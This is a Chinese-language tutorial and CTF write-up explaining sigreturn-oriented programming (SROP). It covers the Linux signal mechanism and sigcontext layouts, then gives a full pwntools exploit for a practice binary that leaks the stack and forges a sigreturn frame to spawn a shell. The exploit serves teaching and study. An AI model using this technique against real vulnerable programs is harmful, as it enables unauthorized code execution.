# srop
# srop 原理
# signal 机制 ¶
signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。一般来说,信号机制常见的步骤如下图所示:
- 内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态。
- 内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。** 需要注意的是,这一部分是在用户进程的地址空间的。** 之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。
对于 signal Frame 来说,会因为架构的不同而有所区别,这里给出分别给出 x86 以及 x64 的 sigcontext
- x86
struct sigcontext | |
{ | |
unsigned short gs, __gsh; | |
unsigned short fs, __fsh; | |
unsigned short es, __esh; | |
unsigned short ds, __dsh; | |
unsigned long edi; | |
unsigned long esi; | |
unsigned long ebp; | |
unsigned long esp; | |
unsigned long ebx; | |
unsigned long edx; | |
unsigned long ecx; | |
unsigned long eax; | |
unsigned long trapno; | |
unsigned long err; | |
unsigned long eip; | |
unsigned short cs, __csh; | |
unsigned long eflags; | |
unsigned long esp_at_signal; | |
unsigned short ss, __ssh; | |
struct _fpstate * fpstate; | |
unsigned long oldmask; | |
unsigned long cr2; | |
}; |
- x64
struct _fpstate | |
{ | |
/* FPU environment matching the 64-bit FXSAVE layout. */ | |
__uint16_t cwd; | |
__uint16_t swd; | |
__uint16_t ftw; | |
__uint16_t fop; | |
__uint64_t rip; | |
__uint64_t rdp; | |
__uint32_t mxcsr; | |
__uint32_t mxcr_mask; | |
struct _fpxreg _st[8]; | |
struct _xmmreg _xmm[16]; | |
__uint32_t padding[24]; | |
}; | |
struct sigcontext | |
{ | |
__uint64_t r8; | |
__uint64_t r9; | |
__uint64_t r10; | |
__uint64_t r11; | |
__uint64_t r12; | |
__uint64_t r13; | |
__uint64_t r14; | |
__uint64_t r15; | |
__uint64_t rdi; | |
__uint64_t rsi; | |
__uint64_t rbp; | |
__uint64_t rbx; | |
__uint64_t rdx; | |
__uint64_t rax; | |
__uint64_t rcx; | |
__uint64_t rsp; | |
__uint64_t rip; | |
__uint64_t eflags; | |
unsigned short cs; | |
unsigned short gs; | |
unsigned short fs; | |
unsigned short __pad0; | |
__uint64_t err; | |
__uint64_t trapno; | |
__uint64_t oldmask; | |
__uint64_t cr2; | |
__extension__ union | |
{ | |
struct _fpstate * fpstate; | |
__uint64_t __fpstate_word; | |
}; | |
__uint64_t __reserved1 [8]; | |
}; |
- signal handler 返回后,内核为执行 sigreturn 系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。其中,**32 位的 sigreturn 的调用号为 119(0x77),64 位的系统调用号为 15(0xf)
# 攻击原理
仔细回顾一下内核在 signal 信号处理的过程中的工作,我们可以发现,内核主要做的工作就是为进程保存上下文,并且恢复上下文。这个主要的变动都在 Signal Frame 中。但是需要注意的是:
- Signal Frame 被保存在用户的地址空间中,所以用户是可以读写的。
- 由于内核与信号处理程序无关 (kernel agnostic about signal handlers),它并不会去记录这个 signal 对应的 Signal Frame,所以当执行 sigreturn 系统调用时,此时的 Signal Frame 并不一定是之前内核为用户进程保存的 Signal Frame。
# 获取 shell
首先,我们假设攻击者可以控制用户进程的栈,那么它就可以伪造一个 Signal Frame,如下图所示,这里以 64 位为例子,给出 Signal Frame 更加详细的信息
当系统执行完 sigreturn 系统调用之后,会执行一系列的 pop 指令以便于恢复相应寄存器的值,当执行到 rip 时,就会将程序执行流指向 syscall 地址,根据相应寄存器的值,此时,便会得到一个 shell。___(相当于还原我们调好的寄存器的值)
# system call chains
需要指出的是,上面的例子中,我们只是单独的获得一个 shell。有时候,我们可能会希望执行一系列的函数。我们只需要做两处修改即可
- 控制栈指针。
- 把原来 rip 指向的
syscall
gadget 换成syscall; ret
gadget。
如下图所示 ,这样当每次 syscall 返回的时候,栈指针都会指向下一个 Signal Frame。因此就可以执行一系列的 sigreturn 函数调用。
# 后续 ¶
需要注意的是,我们在构造 ROP 攻击的时候,需要满足下面的条件
- 可以通过栈溢出来控制栈的内容
- 需要知道相应的 **地址**
- "/bin/sh"
- Signal Frame
- syscall
- sigreturn
- 需要有够大的空间来塞下整个 sigal frame
此外,关于 sigreturn 以及 syscall;ret 这两个 gadget 在上面并没有提及。提出该攻击的论文作者发现了这些 gadgets 出现的某些地址:
# 一道例题
# 检查
发现输入很少字符,程序就崩溃。堆栈不可执行。
# IDA
mian 函数进入 vuln,很容易发现 vuln 函数调用 sys_read 和 sys_write 系统调用函数。其中在 buf 中有漏洞点。并发现 gadgets 中有
# 00000000004004DA mov rax, 0Fh
所以很明显可以进行 srop。
srop 达成攻击的条件是一下内容:
- 可以通过栈溢出来控制栈的内容
- 需要知道相应的 **地址**
- "/bin/sh"
- Signal Frame
- syscall
- sigreturn
- 需要有够大的空间来塞下整个 sigal frame
检查字符串并没有 binsh,所以我们可以用 sys_read 读入,去泄露栈的基址,然后去计算 binsh 在栈中的偏移。因为虽然程序远程和本地加载不同,但是 bin/sh 读入的偏移是相同的。根据这个原理,我们去计算本地调试的 /bin/sh 的偏移
但这题我们并不知的去如何泄露栈的基址,那该咋办。凡事先调试再说。
main 函数之前记录 rsi
输入 /bin/sh 记录 rsi
从 rsi 中,我们能得到 bin/sh 在栈中的偏移 —— 0x7fffffffddf8 - 0x7fffffffdce0
从这里我们就能发现 ——write 打印出 0x30 个字节,可以看出从低地址开始打印 0x20 个字节后 0x8 就是栈基址
所以通过 write 函数能打印出 libc 栈基址
打印完栈基址我们就能通过偏移计算出 binsh 的基址了。
思路有了,直接上 exp
# exp
# from LibcSearcher import* | |
from pwn import * | |
# from ctypes import * | |
context(arch='amd64',os='linux',log_level='debug') | |
#r = remote('node2.anna.nssctf.cn',28450) | |
r = gdb.debug('./PWN3') | |
# r = process('./PWN3') | |
# libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6') | |
# libc = ELF('/home/f145h/Desktop/libs/2.23-0ubuntu11.3_amd64/libc.so.6') | |
elf = ELF('./PWN3') | |
# ld-linux-x86-64.so.2 | |
# srand = libc.srand (libc.time (0)) #设置种子 | |
se = lambda data :r.send(data) | |
sa = lambda delim,data :r.sendafter(delim, data) | |
sl = lambda data :r.sendline(data) | |
sla = lambda delim,data :r.sendlineafter(delim, data) | |
sea = lambda delim,data :r.sendafter(delim, data) | |
rc = lambda numb=4096 :r.recv(numb) | |
rl = lambda :r.recvline() | |
ru = lambda delims :r.recvuntil(delims) | |
uu32 = lambda data :u32(data.ljust(4, b'\0')) | |
uu64 = lambda data :u64(data.ljust(8, b'\0')) | |
lic = lambda data :uu64(ru(data)[-6:]) | |
pack = lambda str, addr :p32(addr) | |
padding = lambda lenth :b'F145H'*(lenth//5)+b'F'*(lenth % 5) | |
vuln = 0x4004ED | |
pl = b'/bin/sh\x00'*2 + p64(vuln) | |
# gdb.attach(r) | |
print('传输/bin/sh之前======>') | |
# pause() | |
sl(pl) | |
print('传输/bin/sh之后======>') | |
# pause() | |
of = 0x7fffffffde28 - 0x7fffffffdd10 | |
'of 计算binsh在栈的偏移' | |
l_stack = lic('\x7f') | |
binsh = l_stack - of | |
print(hex(l_stack)) | |
print('binsh_addr=======>' + str(hex(binsh))) | |
syscall = 0x400501 | |
# 00000000004004DA mov rax, 0Fh | |
sigreturn = 0x4004DA | |
sigframe = SigreturnFrame() | |
sigframe.rax = constants.SYS_execve | |
sigframe.rdi = binsh | |
sigframe.rsi = 0x0 | |
sigframe.rdx = 0x0 | |
sigframe.rip = syscall | |
pl2 = b'/bin/sh\x00' + p64(0) + p64(sigreturn) + p64(syscall) + bytes(sigframe) | |
print('传输sigframe之前======>') | |
# pause() | |
sl(pl2) | |
print('传输sigframe之后======>') | |
# pause() | |
r.interactive() | |
''' | |
需要设置架构 | |
execve: | |
sigframe = SigreturnFrame() | |
sigframe.rax = constants.SYS_execve | |
sigframe.rdi = binsh | |
sigframe.rsi = 0x0 | |
sigframe.rip = syscall | |
read: | |
frame = SigreturnFrame() | |
frame.rax = constants.SYS_read | |
frame.rdi = 0 | |
frame.rsi = stack_addr | |
frame.rdx = 0x400 | |
frame.rsp = stack_addr | |
frame.rip = syscall_addr | |
x64 more information: | |
http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/ | |
''' |
sigframe = SigreturnFrame() | |
sigframe.rax = constants.SYS_execve | |
sigframe.rdi = binsh | |
sigframe.rsi = 0x0 | |
sigframe.rdx = 0x0 | |
sigframe.rip = syscall | |
pl2 = b'/bin/sh\x00' + p64(0) + p64(sigreturn) + p64(syscall) + bytes(sigfram) |
当传入 pl2 我们调试发现寄存器的变化
可见 srop 的攻击原理